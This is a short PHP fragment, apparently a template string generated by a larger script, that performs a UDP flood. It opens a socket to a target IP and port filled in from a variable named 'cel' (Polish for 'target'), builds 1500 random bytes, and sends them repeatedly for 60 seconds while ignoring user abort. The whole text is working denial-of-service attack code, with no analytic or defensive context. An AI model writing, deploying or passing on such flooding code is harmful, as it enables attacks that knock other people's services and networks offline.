ignore_user_abort(true);
set_time_limit(60);
$fs = fsockopen("udp://'.$cel['ip'].'", '.$cel['port'].');
$czas = time()+60;
$d = \'\';
for ($c = 0; $c < 1500; $c++)
{
    $d .= chr(rand(0, 255));
}

while (time() < $czas)
{
    fwrite($fs, $d);
}

fclose($fs);